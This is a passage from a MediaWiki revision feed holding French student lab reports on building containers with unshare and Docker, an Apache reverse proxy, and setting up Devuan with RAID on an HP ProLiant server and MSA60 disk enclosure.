&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Reconstruction_raid.jpg&amp;diff=48121</id>
		<title>Fichier:Reconstruction raid.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Reconstruction_raid.jpg&amp;diff=48121"/>
				<updated>2018-11-27T09:58:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48117</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48117"/>
				<updated>2018-11-27T09:53:34Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Le matériel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
